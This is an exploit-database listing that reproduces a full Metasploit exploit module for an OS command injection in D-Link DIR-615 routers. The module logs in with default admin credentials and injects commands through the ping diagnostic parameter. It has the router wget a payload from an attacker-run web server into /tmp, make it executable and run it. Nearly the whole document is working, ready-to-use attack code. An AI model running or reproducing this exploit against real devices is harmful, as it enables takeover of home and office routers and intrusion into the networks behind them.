D-Link DIR615h OS Command Injection



EKU-ID: 3229 CVE: OSVDB-ID: 90174
Author: juan vazquez Published: 2013-05-20 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'D-Link DIR615h OS Command Injection',
			'Description' => %q{
					Some D-Link Routers are vulnerable to an authenticated OS command injection on
				their web interface, where default credentials are admin/admin or admin/password.
				Since it is a blind os command injection vulnerability, there is no output for the
				executed command when using the cmd generic payload. This module was tested against
				a DIR-615 hardware revision H1 - firmware version 8.04. A ping command against a
				controlled system could be used for testing purposes. The exploit uses the wget
				client from the device to convert the command injection into an arbitrary payload
				execution.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'BID', '57882' ],
					[ 'EDB', '24477' ],
					[ 'OSVDB', '90174' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-008' ]
				],
			'DisclosureDate' => 'Feb 07 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true
				},
			'Targets'        =>
				[
					[ 'CMD',
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsel Payload',
						{
						'Arch' => ARCH_MIPSLE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 1,
			))

		register_options(
			[
				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
			], self.class)
	end


	def request(cmd)
		begin
			res = send_request_cgi({
				'uri'    => @uri,
				'method' => 'GET',
				'vars_get' => {
					"page" => "tools_vct",
					"hping" => "0",
					"ping_ipaddr" => "1.1.1.1`#{cmd}`",
					"ping6_ipaddr" => ""
				}
			})
			return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return nil
		end
	end

	def exploit
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
		@uri = '/tools_vct.htm'
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		@timeout = 5

		#
		# testing Login
		#
		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
		begin
			res= send_request_cgi({
				'uri' => '/login.htm',
				'method' => 'POST',
				'vars_post' => {
					"page" => "login",
					"submitType" => "0",
					"identifier" => "",
					"sel_userid" => user,
					"userid" => "",
					"passwd" => pass,
					"captchapwd" => ""
				}
			})
			if res.nil? or res.code == 404
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if res.body =~ /\<script\ langauge\=\"javascript\"\>showMainTabs\(\"setup\"\)\;\<\/script\>/
				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
			else
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end

		if target.name =~ /CMD/
			if not (datastore['CMD'])
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
			end
			cmd = payload.encoded
			res = request(cmd)
			if (!res)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			else
				print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
			end
			return
		end

		#thx to Juan for his awesome work on the mipsel elf support
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the D-Link device to download #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		#not working if we send all command together -> lets take three requests
		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
		res = request(cmd)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end
		register_file_for_cleanup("/tmp/#{filename}")

		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)

		#
		# chmod
		#
		cmd = "chmod 777 /tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
		res = request(cmd)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end
		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)

		#
		# execute
		#
		cmd = "/tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
		res = request(cmd)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
			end
		end
	end

end